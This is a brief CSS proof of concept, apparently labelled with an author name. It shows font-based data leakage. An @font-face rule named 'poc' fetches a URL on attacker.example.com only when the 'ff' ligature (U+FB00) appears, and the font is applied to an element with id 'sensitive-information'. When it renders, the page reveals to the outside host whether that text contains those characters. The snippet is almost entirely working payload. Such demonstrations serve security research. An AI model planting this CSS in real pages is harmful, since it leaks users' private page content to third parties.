jo-han

  @font-face {
    font-family: poc;
    src: url(http://attacker.example.com/?ff); /* ff */
    unicode-range: U+FB00;
  }

  #sensitive-information {
    font-family: poc;
    font-variant-ligatures: common-ligatures; 
  }